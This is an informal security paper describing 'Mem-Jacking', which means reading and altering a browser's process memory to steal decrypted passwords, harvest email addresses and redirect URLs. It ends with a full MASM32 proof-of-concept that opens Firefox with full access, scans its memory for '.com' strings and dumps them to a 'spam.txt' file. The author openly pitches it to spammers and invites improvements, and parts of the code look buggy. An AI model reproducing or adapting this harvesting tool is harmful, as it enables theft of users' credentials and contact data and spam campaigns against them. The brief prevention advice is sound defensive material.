Mem - Jacking

Author : Aodrulez.

Intro:

Browsers... we love them....we hate them... we dread them... but we need them n we ofcourse use them.. its a really wonderful Idea for an app... & can turn out to be a Pandora's Box for all kinds of beautiful reasons...We've heard of Malwares that can attach as plugins... causing data theft... we've heard about keyloggers n "Browser Form Monitors" that can steal ur sensitive data.... etc etc.

We've heard about Session-Hijacking, Click-Jacking, Cookie-Hijacking...so what possibly could Mem-Jacking be? :-) Surprise-Suprise... it means to Hijack the Memory of an Application for Malicious intentions...Well.. Mem-Jacking is a term that I've coined. so.. u can call it whatever you feel like.. :D

Technical Bla-Bla :

Applications running on a system which access Internet..for ex. Browsers, Chat Clients, Email Clients etc carry a lot of sensitive info. Lets consider only Browsers for this paper... You'll say sensitive info? Yep..actually..all kinds of Info... for eg...

Lets assume that you run X Browser, on a Windows Machine.It remembers your email a/c passwords...ur Orkut/FaceBook passwords.. etc etc..But you believe its okay..because the Browser claims to keep all your sensitive data encrypted with some strong algo n all.. Also lets assume that you've got Google Toolbar installed....with that small nifty box to type in your keywords.. n voila... there opens the Google Search Results page....Now this is what I call as a normal users' Browser Configuration.

Saved A/C details..?

Also..lets assume that the browser is the latest version..with atleast no vulnerabilities discovered yet... so..you are "almost" completely safe. Now.. a beautiful new way of playing around with such a system would be to monitor the Memory Space of the browser... yep... the Memory Space of the browser can technically prove to be its Achilles' Heel... Security-Wise.

Y.. so?...well even though the browser claims to keep your data encrypted, in order to get you logged into various sites..it has to send across the decrypted form of your data.... now that can prove to be an easy point to grab the data.. in all its glory...how? the decrypted data has to lie somewhere in the browser's memory.... & hardly any App does cleanup work during run-time! so all you have to do is read the data from a specific location in the browser's memory..... it'll take hardly 10-12 lines of c/c++ code.

That solves the problem of encryption/decryption idea.... now lets move onto something more interesting... lets say am a Spammer! I want email ID's.. lots n lots of email IDs... & that too valid ones!.... can Mem-Jacking help? Ofcourse.. lets walk through it.....

Spammer's Delight..?

The beauty of Browser is that when you open a page....all the data related to the page.. for eg..its html code... its css code..graphics etc etc...lie somewhere or the other in the Memory...if that was'nt enough...all the communication that the browser did with the server also lies in the memory... not to mention the networking details that lie there in the mem! So.. if I were to code an app that scans the memory of a browser for lets say only ".com" string... that should fetch me an enormous amount of hits!..Don't believe it?..I've coded a PoC that scans FireFox's Memory space for the same ".com" extension..and simply running it when I''ve opened just my Orkut account gives me more than **1500** results! ofcourse many of it is repeated... but still each n every instance thats encountered in the mem is logged & it definitely amounts to more than 1500 of them. That includes all my contacts... & God-Knows-whose Contacts too!

Did i forgot to mention that this was just a single page I was talking about? yep..so if we made the PoC Monitor the mem in realtime... I'd better buy a new HDD to keep my logs....lol

Re-Routing your Web Visit....?

Now... we all know that the Browser takes you to URL that you've said it to take you to....right? now.. if something tampered with the data that you entered & modified the data to point to oblivion...then? Possible through Mem-Jacking again.... how?

(almost) Every application has a specific place in Memory where a particular data has to be kept & fetched from. Similarly.. in case of Browsers... a particular location in the Mem carries the URL/URI ...to visit... so when you hit "Enter" or click "Go" on your browser after typing the web address...it fetches the data from a specific place in Mem. Now..if i coded something that monitored this Particular location... & tampered with the data there.... I can redirect the user to any website/link i want! This is almost similar to the way "Trainers" for computer games work...so this is not sumthin brand new ...has been tested n tried already. :-)

Preventing Mem-Jacking?

Mem-Jacking involves modifying the Memory of an App..it can be a browser.. chat client... email client... anything! the API's that are needed to carry out this task are as common as they can be.This trick has been around for ages but only in terms of Cracking Applications.... though not to cause data-theft..or hacking related stuph.And how effective can a Protection Scheme be against this kind of an attack is clear from the fate of thousands of Commercial Games whose trainers/cracks have been released.

The best way to avoid being Mem-Jacked is to handle data carefully & to discard or void them out as soon as their need is over.Another helpful advice might be to use random Memory Locations to store & fetch data... even this trick can be defeated..but it'll
take a considerable time depending upon the algo & the expertise of the guy Reversing/patching it.

Proof Of Concept

I've coded a simple Mem-Jacking based app..that searches the Memory of Mozilla FireFox for ".com" string & dumps the result to "c:\spam.txt". Just open Firefox... open ur email a/c... & some of ur social networking site accounts in different tabs...n then run this PoC.It scans the stack.. n the entire mem region from 1000h - 70000000h (thats sumwhere about 1.7 gigs of RAM!)..the algo ain't Top-Of-The-Line... but works pretty decently... n since efficiency was a criteria... I've coded it in Pure Masm32.Theres a lot of scope for improvement in the code, so feel free to go ahead n do-it-ur-way!
(Tested on FireFox 3.0.4)

Special Thanks to:

Amforked()	:My Mentor.
The Blue Genius	:My Boss. [:)]
LiquidWorm & Jeremy Brown	:For being so nice to a noob like me!
www.OrchidSeven.com	:For givin me this beautiful opportunity.

My contact Details:

Email me at : f3arm3d3ar@gmail.com
Blog : http://aodrulez.blogspot.com

PoC Code:
(Compile Using Masm32)

```
--------------------------------------------------------------------------------------
.386
.model flat,stdcall
option casemap:none

;All the include files i'll ever need

include windows.inc
include kernel32.inc
include user32.inc
include advapi32.inc
include wsock32.inc
include msvcrt.inc
include crtlib.inc
includelib crtlib.lib
includelib msvcrt.lib
include macros_sadd.inc
includelib kernel32.lib
includelib user32.lib
includelib advapi32.lib
includelib wsock32.lib
includelib masm32.lib


wow proto :dword

.data
crlf db 0ah,0dh
;list of valid chars in the links
valid db '0123456789
_.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@',0
mail db '.com',0
shitbuff db 'a',0
.data?

capt db 50 dup(?)
buff db 1000 dup(?)
hwnd dword ?
```

```
pid dword ?
phand dword ?
memrange dword ?
count dword ?
occur db 40 dup(?)
idtemp db 60 dup(?)
fhand dword ?

.code

start:
;Find the FireFox window's Handle
invoke FindWindow,SADD("MozillaUIWindowClass"),NULL
mov [hwnd],eax
cmp eax,-1
je over
;Create a file to dump our findings
invoke CreateFile,SADD("c:
\spam.txt"),GENERIC_WRITE,NULL,NULL,CREATE_NEW,FILE_ATTRIBUTE_NORMAL,NULL
mov [fhand],eax
invoke GetWindowText,eax,addr capt,50


invoke MessageBox,0,SADD("Mem Scanning started..."),SADD("Aodrulez"),MB_OK

invoke GetWindowThreadProcessId,hwnd,addr pid
invoke OpenProcess,PROCESS_ALL_ACCESS,hwnd,pid
mov [phand],eax

;Start from the address 1000h in Memory alloted to FireFox
mov [memrange],1000h
mov [count],0

mega_loop:


readdata:

invoke ReadProcessMemory,phand,memrange,addr buff,1000,addr pid
invoke BinSearch,0,addr buff,sizeof buff,addr mail,sizeof mail
cmp eax,-1
je fuck
inc count


lea edx,buff
add edx,eax
dec edx
invoke wow,edx

fuck:
add memrange,1000
;Continue till address 70000000h in Memory alloted to FireFox

cmp memrange,70000000h
jl mega_loop
```

```
cmp count,0
jna over



disp:
invoke wsprintf,addr occur,SADD("I found %u Links on the page!"),count
invoke MessageBox,0,addr occur,SADD("Aod"),MB_OK




over:
invoke CloseHandle,fhand
invoke CloseHandle,phand
invoke ExitProcess,0


;Procedure to quickly get the links in the correct format from the
;hits obtained.Theres Scope for lots of improvement!
wow proc stradd:dword

mov esi,stradd


mov ecx,sizeof valid

looper1:
mov bl,byte ptr [esi]
lea eax,shitbuff
mov byte ptr [eax],bl
invoke BinSearch,0,addr valid,sizeof valid,addr shitbuff,sizeof shitbuff
cmp eax,-1
je crap
dec esi

loop looper1



crap:
inc esi
lea edi,idtemp
mov ecx,stradd
sub ecx,esi
inc ecx
mov pid,ecx
looper3:


 cld
 rep movsb

mov byte ptr [stradd+1],0
invoke WriteFile,fhand,addr idtemp,pid,addr pid,NULL
invoke WriteFile,fhand,addr mail,4,addr pid,NULL
invoke WriteFile,fhand,addr crlf,2,addr pid,NULL
```

```
ret
wow endp

end start
------------------------------------------------------------------------
```